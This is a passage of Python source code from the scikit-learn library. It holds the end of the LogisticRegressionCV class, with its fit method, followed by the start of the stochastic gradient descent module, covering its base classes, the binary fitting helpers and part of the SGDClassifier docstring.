        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``.

        Note that these weights will be multiplied with sample_weight (passed
        through the fit method) if sample_weight is specified.

        .. versionadded:: 0.17
           class_weight == 'balanced'

    cv : integer or cross-validation generator
        The default cross-validation generator used is Stratified K-Folds.
        If an integer is provided, then it is the number of folds used.
        See the module :mod:`sklearn.model_selection` module for the
        list of possible cross-validation objects.

    penalty : str, 'l1' or 'l2'
        Used to specify the norm used in the penalization. The 'newton-cg',
        'sag' and 'lbfgs' solvers support only l2 penalties.

    dual : bool
        Dual or primal formulation. Dual formulation is only implemented for
        l2 penalty with liblinear solver. Prefer dual=False when
        n_samples > n_features.

    scoring : callabale
        Scoring function to use as cross-validation criteria. For a list of
        scoring functions that can be used, look at :mod:`sklearn.metrics`.
        The default scoring option used is accuracy_score.

    solver : {'newton-cg', 'lbfgs', 'liblinear', 'sag'}
        Algorithm to use in the optimization problem.

        - For small datasets, 'liblinear' is a good choice, whereas 'sag' is
            faster for large ones.
        - For multiclass problems, only 'newton-cg', 'sag' and 'lbfgs' handle
            multinomial loss; 'liblinear' is limited to one-versus-rest
            schemes.
        - 'newton-cg', 'lbfgs' and 'sag' only handle L2 penalty.
        - 'liblinear' might be slower in LogisticRegressionCV because it does
            not handle warm-starting.

        Note that 'sag' fast convergence is only guaranteed on features with
        approximately the same scale. You can preprocess the data with a
        scaler from sklearn.preprocessing.

        .. versionadded:: 0.17
           Stochastic Average Gradient descent solver.

    tol : float, optional
        Tolerance for stopping criteria.

    max_iter : int, optional
        Maximum number of iterations of the optimization algorithm.

    n_jobs : int, optional
        Number of CPU cores used during the cross-validation loop. If given
        a value of -1, all cores are used.

    verbose : int
        For the 'liblinear', 'sag' and 'lbfgs' solvers set verbose to any
        positive number for verbosity.

    refit : bool
        If set to True, the scores are averaged across all folds, and the
        coefs and the C that corresponds to the best score is taken, and a
        final refit is done using these parameters.
        Otherwise the coefs, intercepts and C that correspond to the
        best scores across folds are averaged.

    multi_class : str, {'ovr', 'multinomial'}
        Multiclass option can be either 'ovr' or 'multinomial'. If the option
        chosen is 'ovr', then a binary problem is fit for each label. Else
        the loss minimised is the multinomial loss fit across
        the entire probability distribution. Works only for the 'newton-cg',
        'sag' and 'lbfgs' solver.

        .. versionadded:: 0.18
           Stochastic Average Gradient descent solver for 'multinomial' case.

    intercept_scaling : float, default 1.
        Useful only when the solver 'liblinear' is used
        and self.fit_intercept is set to True. In this case, x becomes
        [x, self.intercept_scaling],
        i.e. a "synthetic" feature with constant value equal to
        intercept_scaling is appended to the instance vector.
        The intercept becomes ``intercept_scaling * synthetic_feature_weight``.

        Note! the synthetic feature weight is subject to l1/l2 regularization
        as all other features.
        To lessen the effect of regularization on synthetic feature weight
        (and therefore on the intercept) intercept_scaling has to be increased.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    Attributes
    ----------
    coef_ : array, shape (1, n_features) or (n_classes, n_features)
        Coefficient of the features in the decision function.

        `coef_` is of shape (1, n_features) when the given problem
        is binary.
        `coef_` is readonly property derived from `raw_coef_` that
        follows the internal memory layout of liblinear.

    intercept_ : array, shape (1,) or (n_classes,)
        Intercept (a.k.a. bias) added to the decision function.
        It is available only when parameter intercept is set to True
        and is of shape(1,) when the problem is binary.

    Cs_ : array
        Array of C i.e. inverse of regularization parameter values used
        for cross-validation.

    coefs_paths_ : array, shape ``(n_folds, len(Cs_), n_features)`` or \
                   ``(n_folds, len(Cs_), n_features + 1)``
        dict with classes as the keys, and the path of coefficients obtained
        during cross-validating across each fold and then across each Cs
        after doing an OvR for the corresponding class as values.
        If the 'multi_class' option is set to 'multinomial', then
        the coefs_paths are the coefficients corresponding to each class.
        Each dict value has shape ``(n_folds, len(Cs_), n_features)`` or
        ``(n_folds, len(Cs_), n_features + 1)`` depending on whether the
        intercept is fit or not.

    scores_ : dict
        dict with classes as the keys, and the values as the
        grid of scores obtained during cross-validating each fold, after doing
        an OvR for the corresponding class. If the 'multi_class' option
        given is 'multinomial' then the same scores are repeated across
        all classes, since this is the multinomial class.
        Each dict value has shape (n_folds, len(Cs))

    C_ : array, shape (n_classes,) or (n_classes - 1,)
        Array of C that maps to the best scores across every class. If refit is
        set to False, then for each class, the best C is the average of the
        C's that correspond to the best scores for each fold.

    n_iter_ : array, shape (n_classes, n_folds, n_cs) or (1, n_folds, n_cs)
        Actual number of iterations for all classes, folds and Cs.
        In the binary or multinomial cases, the first dimension is equal to 1.

    See also
    --------
    LogisticRegression

    """

    def __init__(self, Cs=10, fit_intercept=True, cv=None, dual=False,
                 penalty='l2', scoring=None, solver='lbfgs', tol=1e-4,
                 max_iter=100, class_weight=None, n_jobs=1, verbose=0,
                 refit=True, intercept_scaling=1., multi_class='ovr',
                 random_state=None):
        self.Cs = Cs
        self.fit_intercept = fit_intercept
        self.cv = cv
        self.dual = dual
        self.penalty = penalty
        self.scoring = scoring
        self.tol = tol
        self.max_iter = max_iter
        self.class_weight = class_weight
        self.n_jobs = n_jobs
        self.verbose = verbose
        self.solver = solver
        self.refit = refit
        self.intercept_scaling = intercept_scaling
        self.multi_class = multi_class
        self.random_state = random_state

    def fit(self, X, y, sample_weight=None):
        """Fit the model according to the given training data.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Training vector, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape (n_samples,)
            Target vector relative to X.

        sample_weight : array-like, shape (n_samples,) optional
            Array of weights that are assigned to individual samples.
            If not provided, then each sample is given unit weight.

        Returns
        -------
        self : object
            Returns self.
        """
        _check_solver_option(self.solver, self.multi_class, self.penalty,
                             self.dual)

        if not isinstance(self.max_iter, numbers.Number) or self.max_iter < 0:
            raise ValueError("Maximum number of iteration must be positive;"
                             " got (max_iter=%r)" % self.max_iter)
        if not isinstance(self.tol, numbers.Number) or self.tol < 0:
            raise ValueError("Tolerance for stopping criteria must be "
                             "positive; got (tol=%r)" % self.tol)

        X, y = check_X_y(X, y, accept_sparse='csr', dtype=np.float64,
                         order="C")

        if self.solver == 'sag':
            max_squared_sum = row_norms(X, squared=True).max()
        else:
            max_squared_sum = None

        check_classification_targets(y)

        if y.ndim == 2 and y.shape[1] == 1:
            warnings.warn(
                "A column-vector y was passed when a 1d array was"
                " expected. Please change the shape of y to "
                "(n_samples, ), for example using ravel().",
                DataConversionWarning)
            y = np.ravel(y)

        check_consistent_length(X, y)

        # init cross-validation generator
        cv = check_cv(self.cv, y, classifier=True)
        folds = list(cv.split(X, y))

        self._enc = LabelEncoder()
        self._enc.fit(y)

        labels = self.classes_ = np.unique(y)
        n_classes = len(labels)

        if n_classes < 2:
            raise ValueError("This solver needs samples of at least 2 classes"
                             " in the data, but the data contains only one"
                             " class: %r" % self.classes_[0])
        if n_classes == 2:
            # OvR in case of binary problems is as good as fitting
            # the higher label
            n_classes = 1
            labels = labels[1:]

        # We need this hack to iterate only once over labels, in the case of
        # multi_class = multinomial, without changing the value of the labels.
        iter_labels = labels
        if self.multi_class == 'multinomial':
            iter_labels = [None]

        if self.class_weight and not(isinstance(self.class_weight, dict) or
                                     self.class_weight in
                                     ['balanced', 'auto']):
            # 'auto' is deprecated and will be removed in 0.19
            raise ValueError("class_weight provided should be a "
                             "dict or 'balanced'")

        # compute the class weights for the entire dataset y
        if self.class_weight in ("auto", "balanced"):
            classes = np.unique(y)
            class_weight = compute_class_weight(self.class_weight, classes, y)
            class_weight = dict(zip(classes, class_weight))
        else:
            class_weight = self.class_weight

        path_func = delayed(_log_reg_scoring_path)

        # The SAG solver releases the GIL so it's more efficient to use
        # threads for this solver.
        backend = 'threading' if self.solver == 'sag' else 'multiprocessing'
        fold_coefs_ = Parallel(n_jobs=self.n_jobs, verbose=self.verbose,
                               backend=backend)(
            path_func(X, y, train, test, pos_class=label, Cs=self.Cs,
                      fit_intercept=self.fit_intercept, penalty=self.penalty,
                      dual=self.dual, solver=self.solver, tol=self.tol,
                      max_iter=self.max_iter, verbose=self.verbose,
                      class_weight=class_weight, scoring=self.scoring,
                      multi_class=self.multi_class,
                      intercept_scaling=self.intercept_scaling,
                      random_state=self.random_state,
                      max_squared_sum=max_squared_sum,
                      sample_weight=sample_weight
                      )
            for label in iter_labels
            for train, test in folds)

        if self.multi_class == 'multinomial':
            multi_coefs_paths, Cs, multi_scores, n_iter_ = zip(*fold_coefs_)
            multi_coefs_paths = np.asarray(multi_coefs_paths)
            multi_scores = np.asarray(multi_scores)

            # This is just to maintain API similarity between the ovr and
            # multinomial option.
            # Coefs_paths in now n_folds X len(Cs) X n_classes X n_features
            # we need it to be n_classes X len(Cs) X n_folds X n_features
            # to be similar to "ovr".
            coefs_paths = np.rollaxis(multi_coefs_paths, 2, 0)

            # Multinomial has a true score across all labels. Hence the
            # shape is n_folds X len(Cs). We need to repeat this score
            # across all labels for API similarity.
            scores = np.tile(multi_scores, (n_classes, 1, 1))
            self.Cs_ = Cs[0]
            self.n_iter_ = np.reshape(n_iter_, (1, len(folds),
                                      len(self.Cs_)))

        else:
            coefs_paths, Cs, scores, n_iter_ = zip(*fold_coefs_)
            self.Cs_ = Cs[0]
            coefs_paths = np.reshape(coefs_paths, (n_classes, len(folds),
                                     len(self.Cs_), -1))
            self.n_iter_ = np.reshape(n_iter_, (n_classes, len(folds),
                                      len(self.Cs_)))

        self.coefs_paths_ = dict(zip(labels, coefs_paths))
        scores = np.reshape(scores, (n_classes, len(folds), -1))
        self.scores_ = dict(zip(labels, scores))

        self.C_ = list()
        self.coef_ = np.empty((n_classes, X.shape[1]))
        self.intercept_ = np.zeros(n_classes)

        # hack to iterate only once for multinomial case.
        if self.multi_class == 'multinomial':
            scores = multi_scores
            coefs_paths = multi_coefs_paths

        for index, label in enumerate(iter_labels):
            if self.multi_class == 'ovr':
                scores = self.scores_[label]
                coefs_paths = self.coefs_paths_[label]

            if self.refit:
                best_index = scores.sum(axis=0).argmax()

                C_ = self.Cs_[best_index]
                self.C_.append(C_)
                if self.multi_class == 'multinomial':
                    coef_init = np.mean(coefs_paths[:, best_index, :, :],
                                        axis=0)
                else:
                    coef_init = np.mean(coefs_paths[:, best_index, :], axis=0)

                w, _, _ = logistic_regression_path(
                    X, y, pos_class=label, Cs=[C_], solver=self.solver,
                    fit_intercept=self.fit_intercept, coef=coef_init,
                    max_iter=self.max_iter, tol=self.tol,
                    penalty=self.penalty, copy=False,
                    class_weight=class_weight,
                    multi_class=self.multi_class,
                    verbose=max(0, self.verbose - 1),
                    random_state=self.random_state,
                    check_input=False, max_squared_sum=max_squared_sum,
                    sample_weight=sample_weight)
                w = w[0]

            else:
                # Take the best scores across every fold and the average of all
                # coefficients corresponding to the best scores.
                best_indices = np.argmax(scores, axis=1)
                w = np.mean([coefs_paths[i][best_indices[i]]
                             for i in range(len(folds))], axis=0)
                self.C_.append(np.mean(self.Cs_[best_indices]))

            if self.multi_class == 'multinomial':
                self.C_ = np.tile(self.C_, n_classes)
                self.coef_ = w[:, :X.shape[1]]
                if self.fit_intercept:
                    self.intercept_ = w[:, -1]
            else:
                self.coef_[index] = w[: X.shape[1]]
                if self.fit_intercept:
                    self.intercept_[index] = w[-1]

        self.C_ = np.asarray(self.C_)
        return self






# Authors: Peter Prettenhofer <peter.prettenhofer@gmail.com> (main author)
#          Mathieu Blondel (partial_fit support)
#
# License: BSD 3 clause
"""Classification and regression using Stochastic Gradient Descent (SGD)."""

import numpy as np

from abc import ABCMeta, abstractmethod

from ..externals.joblib import Parallel, delayed

from .base import LinearClassifierMixin, SparseCoefMixin
from .base import make_dataset
from ..base import BaseEstimator, RegressorMixin
from ..feature_selection.from_model import _LearntSelectorMixin
from ..utils import (check_array, check_random_state, check_X_y,
                     deprecated)
from ..utils.extmath import safe_sparse_dot
from ..utils.multiclass import _check_partial_fit_first_call
from ..utils.validation import check_is_fitted
from ..externals import six

from .sgd_fast import plain_sgd, average_sgd
from ..utils.fixes import astype
from ..utils import compute_class_weight
from .sgd_fast import Hinge
from .sgd_fast import SquaredHinge
from .sgd_fast import Log
from .sgd_fast import ModifiedHuber
from .sgd_fast import SquaredLoss
from .sgd_fast import Huber
from .sgd_fast import EpsilonInsensitive
from .sgd_fast import SquaredEpsilonInsensitive


LEARNING_RATE_TYPES = {"constant": 1, "optimal": 2, "invscaling": 3,
                       "pa1": 4, "pa2": 5}

PENALTY_TYPES = {"none": 0, "l2": 2, "l1": 1, "elasticnet": 3}

DEFAULT_EPSILON = 0.1
# Default value of ``epsilon`` parameter.


class BaseSGD(six.with_metaclass(ABCMeta, BaseEstimator, SparseCoefMixin)):
    """Base class for SGD classification and regression."""

    def __init__(self, loss, penalty='l2', alpha=0.0001, C=1.0,
                 l1_ratio=0.15, fit_intercept=True, n_iter=5, shuffle=True,
                 verbose=0, epsilon=0.1, random_state=None,
                 learning_rate="optimal", eta0=0.0, power_t=0.5,
                 warm_start=False, average=False):
        self.loss = loss
        self.penalty = penalty
        self.learning_rate = learning_rate
        self.epsilon = epsilon
        self.alpha = alpha
        self.C = C
        self.l1_ratio = l1_ratio
        self.fit_intercept = fit_intercept
        self.n_iter = n_iter
        self.shuffle = shuffle
        self.random_state = random_state
        self.verbose = verbose
        self.eta0 = eta0
        self.power_t = power_t
        self.warm_start = warm_start
        self.average = average

        self._validate_params()

        self.coef_ = None

        if self.average > 0:
            self.standard_coef_ = None
            self.average_coef_ = None
        # iteration count for learning rate schedule
        # must not be int (e.g. if ``learning_rate=='optimal'``)
        self.t_ = None

    def set_params(self, *args, **kwargs):
        super(BaseSGD, self).set_params(*args, **kwargs)
        self._validate_params()
        return self

    @abstractmethod
    def fit(self, X, y):
        """Fit model."""

    def _validate_params(self):
        """Validate input params. """
        if not isinstance(self.shuffle, bool):
            raise ValueError("shuffle must be either True or False")
        if self.n_iter <= 0:
            raise ValueError("n_iter must be > zero")
        if not (0.0 <= self.l1_ratio <= 1.0):
            raise ValueError("l1_ratio must be in [0, 1]")
        if self.alpha < 0.0:
            raise ValueError("alpha must be >= 0")
        if self.learning_rate in ("constant", "invscaling"):
            if self.eta0 <= 0.0:
                raise ValueError("eta0 must be > 0")
        if self.learning_rate == "optimal" and self.alpha == 0:
            raise ValueError("alpha must be > 0 since "
                             "learning_rate is 'optimal'. alpha is used "
                             "to compute the optimal learning rate.")

        # raises ValueError if not registered
        self._get_penalty_type(self.penalty)
        self._get_learning_rate_type(self.learning_rate)

        if self.loss not in self.loss_functions:
            raise ValueError("The loss %s is not supported. " % self.loss)

    def _get_loss_function(self, loss):
        """Get concrete ``LossFunction`` object for str ``loss``. """
        try:
            loss_ = self.loss_functions[loss]
            loss_class, args = loss_[0], loss_[1:]
            if loss in ('huber', 'epsilon_insensitive',
                        'squared_epsilon_insensitive'):
                args = (self.epsilon, )
            return loss_class(*args)
        except KeyError:
            raise ValueError("The loss %s is not supported. " % loss)

    def _get_learning_rate_type(self, learning_rate):
        try:
            return LEARNING_RATE_TYPES[learning_rate]
        except KeyError:
            raise ValueError("learning rate %s "
                             "is not supported. " % learning_rate)

    def _get_penalty_type(self, penalty):
        penalty = str(penalty).lower()
        try:
            return PENALTY_TYPES[penalty]
        except KeyError:
            raise ValueError("Penalty %s is not supported. " % penalty)

    def _validate_sample_weight(self, sample_weight, n_samples):
        """Set the sample weight array."""
        if sample_weight is None:
            # uniform sample weights
            sample_weight = np.ones(n_samples, dtype=np.float64, order='C')
        else:
            # user-provided array
            sample_weight = np.asarray(sample_weight, dtype=np.float64,
                                       order="C")
        if sample_weight.shape[0] != n_samples:
            raise ValueError("Shapes of X and sample_weight do not match.")
        return sample_weight

    def _allocate_parameter_mem(self, n_classes, n_features, coef_init=None,
                                intercept_init=None):
        """Allocate mem for parameters; initialize if provided."""
        if n_classes > 2:
            # allocate coef_ for multi-class
            if coef_init is not None:
                coef_init = np.asarray(coef_init, order="C")
                if coef_init.shape != (n_classes, n_features):
                    raise ValueError("Provided ``coef_`` does not match "
                                     "dataset. ")
                self.coef_ = coef_init
            else:
                self.coef_ = np.zeros((n_classes, n_features),
                                      dtype=np.float64, order="C")

            # allocate intercept_ for multi-class
            if intercept_init is not None:
                intercept_init = np.asarray(intercept_init, order="C")
                if intercept_init.shape != (n_classes, ):
                    raise ValueError("Provided intercept_init "
                                     "does not match dataset.")
                self.intercept_ = intercept_init
            else:
                self.intercept_ = np.zeros(n_classes, dtype=np.float64,
                                           order="C")
        else:
            # allocate coef_ for binary problem
            if coef_init is not None:
                coef_init = np.asarray(coef_init, dtype=np.float64,
                                       order="C")
                coef_init = coef_init.ravel()
                if coef_init.shape != (n_features,):
                    raise ValueError("Provided coef_init does not "
                                     "match dataset.")
                self.coef_ = coef_init
            else:
                self.coef_ = np.zeros(n_features,
                                      dtype=np.float64,
                                      order="C")

            # allocate intercept_ for binary problem
            if intercept_init is not None:
                intercept_init = np.asarray(intercept_init, dtype=np.float64)
                if intercept_init.shape != (1,) and intercept_init.shape != ():
                    raise ValueError("Provided intercept_init "
                                     "does not match dataset.")
                self.intercept_ = intercept_init.reshape(1,)
            else:
                self.intercept_ = np.zeros(1, dtype=np.float64, order="C")

        # initialize average parameters
        if self.average > 0:
            self.standard_coef_ = self.coef_
            self.standard_intercept_ = self.intercept_
            self.average_coef_ = np.zeros(self.coef_.shape,
                                          dtype=np.float64,
                                          order="C")
            self.average_intercept_ = np.zeros(self.standard_intercept_.shape,
                                               dtype=np.float64,
                                               order="C")


def _prepare_fit_binary(est, y, i):
    """Initialization for fit_binary.

    Returns y, coef, intercept.
    """
    y_i = np.ones(y.shape, dtype=np.float64, order="C")
    y_i[y != est.classes_[i]] = -1.0
    average_intercept = 0
    average_coef = None

    if len(est.classes_) == 2:
        if not est.average:
            coef = est.coef_.ravel()
            intercept = est.intercept_[0]
        else:
            coef = est.standard_coef_.ravel()
            intercept = est.standard_intercept_[0]
            average_coef = est.average_coef_.ravel()
            average_intercept = est.average_intercept_[0]
    else:
        if not est.average:
            coef = est.coef_[i]
            intercept = est.intercept_[i]
        else:
            coef = est.standard_coef_[i]
            intercept = est.standard_intercept_[i]
            average_coef = est.average_coef_[i]
            average_intercept = est.average_intercept_[i]

    return y_i, coef, intercept, average_coef, average_intercept


def fit_binary(est, i, X, y, alpha, C, learning_rate, n_iter,
               pos_weight, neg_weight, sample_weight):
    """Fit a single binary classifier.

    The i'th class is considered the "positive" class.
    """
    # if average is not true, average_coef, and average_intercept will be
    # unused
    y_i, coef, intercept, average_coef, average_intercept = \
        _prepare_fit_binary(est, y, i)
    assert y_i.shape[0] == y.shape[0] == sample_weight.shape[0]
    dataset, intercept_decay = make_dataset(X, y_i, sample_weight)

    penalty_type = est._get_penalty_type(est.penalty)
    learning_rate_type = est._get_learning_rate_type(learning_rate)

    # XXX should have random_state_!
    random_state = check_random_state(est.random_state)
    # numpy mtrand expects a C long which is a signed 32 bit integer under
    # Windows
    seed = random_state.randint(0, np.iinfo(np.int32).max)

    if not est.average:
        return plain_sgd(coef, intercept, est.loss_function,
                         penalty_type, alpha, C, est.l1_ratio,
                         dataset, n_iter, int(est.fit_intercept),
                         int(est.verbose), int(est.shuffle), seed,
                         pos_weight, neg_weight,
                         learning_rate_type, est.eta0,
                         est.power_t, est.t_, intercept_decay)

    else:
        standard_coef, standard_intercept, average_coef, \
            average_intercept = average_sgd(coef, intercept, average_coef,
                                            average_intercept,
                                            est.loss_function, penalty_type,
                                            alpha, C, est.l1_ratio, dataset,
                                            n_iter, int(est.fit_intercept),
                                            int(est.verbose), int(est.shuffle),
                                            seed, pos_weight, neg_weight,
                                            learning_rate_type, est.eta0,
                                            est.power_t, est.t_,
                                            intercept_decay,
                                            est.average)

        if len(est.classes_) == 2:
            est.average_intercept_[0] = average_intercept
        else:
            est.average_intercept_[i] = average_intercept

        return standard_coef, standard_intercept


class BaseSGDClassifier(six.with_metaclass(ABCMeta, BaseSGD,
                                           LinearClassifierMixin)):

    loss_functions = {
        "hinge": (Hinge, 1.0),
        "squared_hinge": (SquaredHinge, 1.0),
        "perceptron": (Hinge, 0.0),
        "log": (Log, ),
        "modified_huber": (ModifiedHuber, ),
        "squared_loss": (SquaredLoss, ),
        "huber": (Huber, DEFAULT_EPSILON),
        "epsilon_insensitive": (EpsilonInsensitive, DEFAULT_EPSILON),
        "squared_epsilon_insensitive": (SquaredEpsilonInsensitive,
                                        DEFAULT_EPSILON),
    }

    @abstractmethod
    def __init__(self, loss="hinge", penalty='l2', alpha=0.0001, l1_ratio=0.15,
                 fit_intercept=True, n_iter=5, shuffle=True, verbose=0,
                 epsilon=DEFAULT_EPSILON, n_jobs=1, random_state=None,
                 learning_rate="optimal", eta0=0.0, power_t=0.5,
                 class_weight=None, warm_start=False, average=False):

        super(BaseSGDClassifier, self).__init__(loss=loss, penalty=penalty,
                                                alpha=alpha, l1_ratio=l1_ratio,
                                                fit_intercept=fit_intercept,
                                                n_iter=n_iter, shuffle=shuffle,
                                                verbose=verbose,
                                                epsilon=epsilon,
                                                random_state=random_state,
                                                learning_rate=learning_rate,
                                                eta0=eta0, power_t=power_t,
                                                warm_start=warm_start,
                                                average=average)
        self.class_weight = class_weight
        self.classes_ = None
        self.n_jobs = int(n_jobs)

    def _partial_fit(self, X, y, alpha, C,
                     loss, learning_rate, n_iter,
                     classes, sample_weight,
                     coef_init, intercept_init):
        X, y = check_X_y(X, y, 'csr', dtype=np.float64, order="C")

        n_samples, n_features = X.shape

        self._validate_params()
        _check_partial_fit_first_call(self, classes)

        n_classes = self.classes_.shape[0]

        # Allocate datastructures from input arguments
        self._expanded_class_weight = compute_class_weight(self.class_weight,
                                                           self.classes_, y)
        sample_weight = self._validate_sample_weight(sample_weight, n_samples)

        if self.coef_ is None or coef_init is not None:
            self._allocate_parameter_mem(n_classes, n_features,
                                         coef_init, intercept_init)
        elif n_features != self.coef_.shape[-1]:
            raise ValueError("Number of features %d does not match previous "
                             "data %d." % (n_features, self.coef_.shape[-1]))

        self.loss_function = self._get_loss_function(loss)
        if self.t_ is None:
            self.t_ = 1.0

        # delegate to concrete training procedure
        if n_classes > 2:
            self._fit_multiclass(X, y, alpha=alpha, C=C,
                                 learning_rate=learning_rate,
                                 sample_weight=sample_weight, n_iter=n_iter)
        elif n_classes == 2:
            self._fit_binary(X, y, alpha=alpha, C=C,
                             learning_rate=learning_rate,
                             sample_weight=sample_weight, n_iter=n_iter)
        else:
            raise ValueError("The number of class labels must be "
                             "greater than one.")

        return self

    def _fit(self, X, y, alpha, C, loss, learning_rate, coef_init=None,
             intercept_init=None, sample_weight=None):
        if hasattr(self, "classes_"):
            self.classes_ = None

        X, y = check_X_y(X, y, 'csr', dtype=np.float64, order="C")
        n_samples, n_features = X.shape

        # labels can be encoded as float, int, or string literals
        # np.unique sorts in asc order; largest class id is positive class
        classes = np.unique(y)

        if self.warm_start and self.coef_ is not None:
            if coef_init is None:
                coef_init = self.coef_
            if intercept_init is None:
                intercept_init = self.intercept_
        else:
            self.coef_ = None
            self.intercept_ = None

        if self.average > 0:
            self.standard_coef_ = self.coef_
            self.standard_intercept_ = self.intercept_
            self.average_coef_ = None
            self.average_intercept_ = None

        # Clear iteration count for multiple call to fit.
        self.t_ = None

        self._partial_fit(X, y, alpha, C, loss, learning_rate, self.n_iter,
                          classes, sample_weight, coef_init, intercept_init)

        return self

    def _fit_binary(self, X, y, alpha, C, sample_weight,
                    learning_rate, n_iter):
        """Fit a binary classifier on X and y. """
        coef, intercept = fit_binary(self, 1, X, y, alpha, C,
                                     learning_rate, n_iter,
                                     self._expanded_class_weight[1],
                                     self._expanded_class_weight[0],
                                     sample_weight)

        self.t_ += n_iter * X.shape[0]

        # need to be 2d
        if self.average > 0:
            if self.average <= self.t_ - 1:
                self.coef_ = self.average_coef_.reshape(1, -1)
                self.intercept_ = self.average_intercept_
            else:
                self.coef_ = self.standard_coef_.reshape(1, -1)
                self.standard_intercept_ = np.atleast_1d(intercept)
                self.intercept_ = self.standard_intercept_
        else:
            self.coef_ = coef.reshape(1, -1)
            # intercept is a float, need to convert it to an array of length 1
            self.intercept_ = np.atleast_1d(intercept)

    def _fit_multiclass(self, X, y, alpha, C, learning_rate,
                        sample_weight, n_iter):
        """Fit a multi-class classifier by combining binary classifiers

        Each binary classifier predicts one class versus all others. This
        strategy is called OVA: One Versus All.
        """
        # Use joblib to fit OvA in parallel.
        result = Parallel(n_jobs=self.n_jobs, backend="threading",
                          verbose=self.verbose)(
            delayed(fit_binary)(self, i, X, y, alpha, C, learning_rate,
                                n_iter, self._expanded_class_weight[i], 1.,
                                sample_weight)
            for i in range(len(self.classes_)))

        for i, (_, intercept) in enumerate(result):
            self.intercept_[i] = intercept

        self.t_ += n_iter * X.shape[0]

        if self.average > 0:
            if self.average <= self.t_ - 1.0:
                self.coef_ = self.average_coef_
                self.intercept_ = self.average_intercept_
            else:
                self.coef_ = self.standard_coef_
                self.standard_intercept_ = np.atleast_1d(self.intercept_)
                self.intercept_ = self.standard_intercept_

    def partial_fit(self, X, y, classes=None, sample_weight=None):
        """Fit linear model with Stochastic Gradient Descent.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Subset of the training data

        y : numpy array, shape (n_samples,)
            Subset of the target values

        classes : array, shape (n_classes,)
            Classes across all calls to partial_fit.
            Can be obtained by via `np.unique(y_all)`, where y_all is the
            target vector of the entire dataset.
            This argument is required for the first call to partial_fit
            and can be omitted in the subsequent calls.
            Note that y doesn't need to contain all labels in `classes`.

        sample_weight : array-like, shape (n_samples,), optional
            Weights applied to individual samples.
            If not provided, uniform weights are assumed.

        Returns
        -------
        self : returns an instance of self.
        """
        if self.class_weight in ['balanced', 'auto']:
            raise ValueError("class_weight '{0}' is not supported for "
                             "partial_fit. In order to use 'balanced' weights,"
                             " use compute_class_weight('{0}', classes, y). "
                             "In place of y you can us a large enough sample "
                             "of the full training set target to properly "
                             "estimate the class frequency distributions. "
                             "Pass the resulting weights as the class_weight "
                             "parameter.".format(self.class_weight))
        return self._partial_fit(X, y, alpha=self.alpha, C=1.0, loss=self.loss,
                                 learning_rate=self.learning_rate, n_iter=1,
                                 classes=classes, sample_weight=sample_weight,
                                 coef_init=None, intercept_init=None)

    def fit(self, X, y, coef_init=None, intercept_init=None,
            sample_weight=None):
        """Fit linear model with Stochastic Gradient Descent.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Training data

        y : numpy array, shape (n_samples,)
            Target values

        coef_init : array, shape (n_classes, n_features)
            The initial coefficients to warm-start the optimization.

        intercept_init : array, shape (n_classes,)
            The initial intercept to warm-start the optimization.

        sample_weight : array-like, shape (n_samples,), optional
            Weights applied to individual samples.
            If not provided, uniform weights are assumed. These weights will
            be multiplied with class_weight (passed through the
            constructor) if class_weight is specified

        Returns
        -------
        self : returns an instance of self.
        """
        return self._fit(X, y, alpha=self.alpha, C=1.0,
                         loss=self.loss, learning_rate=self.learning_rate,
                         coef_init=coef_init, intercept_init=intercept_init,
                         sample_weight=sample_weight)


class SGDClassifier(BaseSGDClassifier, _LearntSelectorMixin):
    """Linear classifiers (SVM, logistic regression, a.o.) with SGD training.

    This estimator implements regularized linear models with stochastic
    gradient descent (SGD) learning: the gradient of the loss is estimated
    each sample at a time and the model is updated along the way with a
    decreasing strength schedule (aka learning rate). SGD allows minibatch
    (online/out-of-core) learning, see the partial_fit method.
    For best results using the default learning rate schedule, the data should
    have zero mean and unit variance.

    This implementation works with data represented as dense or sparse arrays
    of floating point values for the features. The model it fits can be
    controlled with the loss parameter; by default, it fits a linear support
    vector machine (SVM).

    The regularizer is a penalty added to the loss function that shrinks model
    parameters towards the zero vector using either the squared euclidean norm
    L2 or the absolute norm L1 or a combination of both (Elastic Net). If the
    parameter update crosses the 0.0 value because of the regularizer, the
    update is truncated to 0.0 to allow for learning sparse models and achieve
    online feature selection.

    Read more in the :ref:`User Guide <sgd>`.

    Parameters
    ----------
    loss : str, 'hinge', 'log', 'modified_huber', 'squared_hinge',\
                'perceptron', or a regression loss: 'squared_loss', 'huber',\
                'epsilon_insensitive', or 'squared_epsilon_insensitive'
        The loss function to be used. Defaults to 'hinge', which gives a
        linear SVM.
        The 'log' loss gives logistic regression, a probabilistic classifier.
        'modified_huber' is another smooth loss that brings tolerance to
        outliers as well as probability estimates.
        'squared_hinge' is like hinge but is quadratically penalized.
        'perceptron' is the linear loss used by the perceptron algorithm.
        The other losses are designed for regression but can be useful in
        classification as well; see SGDRegressor for a description.

    penalty : str, 'none', 'l2', 'l1', or 'elasticnet'
        The penalty (aka regularization term) to be used. Defaults to 'l2'
        which is the standard regularizer for linear SVM models. 'l1' and
        'elasticnet' might bring sparsity to the model (feature selection)
        not achievable with 'l2'.

    alpha : float
        Constant that multiplies the regularization term. Defaults to 0.0001
        Also used to compute learning_rate when set to 'optimal'.

    l1_ratio : float
        The Elastic Net mixing parameter, with 0 <= l1_ratio <= 1.
        l1_ratio=0 corresponds to L2 penalty, l1_ratio=1 to L1.
        Defaults to 0.15.

    fit_intercept : bool
        Whether the intercept should be estimated or not. If False, the
        data is assumed to be already centered. Defaults to True.

    n_iter : int, optional
        The number of passes over the training data (aka epochs). The number
        of iterations is set to 1 if using partial_fit.
        Defaults to 5.

    shuffle : bool, optional
        Whether or not the training data should be shuffled after each epoch.
        Defaults to True.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    verbose : integer, optional
        The verbosity level

    epsilon : float
        Epsilon in the epsilon-insensitive loss functions; only if `loss` is
        'huber', 'epsilon_insensitive', or 'squared_epsilon_insensitive'.
